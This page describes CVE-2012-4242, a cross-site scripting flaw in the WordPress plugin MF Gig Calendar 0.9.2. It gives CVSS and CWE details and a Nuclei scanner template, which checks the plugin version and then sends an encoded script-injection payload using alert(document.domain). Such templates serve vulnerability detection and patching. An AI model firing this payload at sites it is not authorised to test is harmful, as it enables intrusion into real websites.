CVE-2012-4242: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting

2025-08-01 WordPress Plugin MF Gig Calendar PoC Public

Description

A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.

PoC

id: CVE-2012-4242

info:
  name: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Plugin MF Gig Calendar to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4242
    - http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4242
    cwe-id: CWE-79
    epss-score: 0.0928
    epss-percentile: 0.95103
    cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:0.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "mf_gig_calendar_project"
    product: "mf_gig_calendar"
  tags: cve,cve2012,wordpress,xss,wp-plugin,mf_gig_calendar_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'MF Gig Calendar ='

  - method: GET
    path:
      - '{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e46c477585f67ddcb0512550472365a330dadc5ec8c87e12698e879514755a8502206a981235b94b6a9a2b0d6b72c0672ab5b98f2745e5fc2043596b5b39dedae2b4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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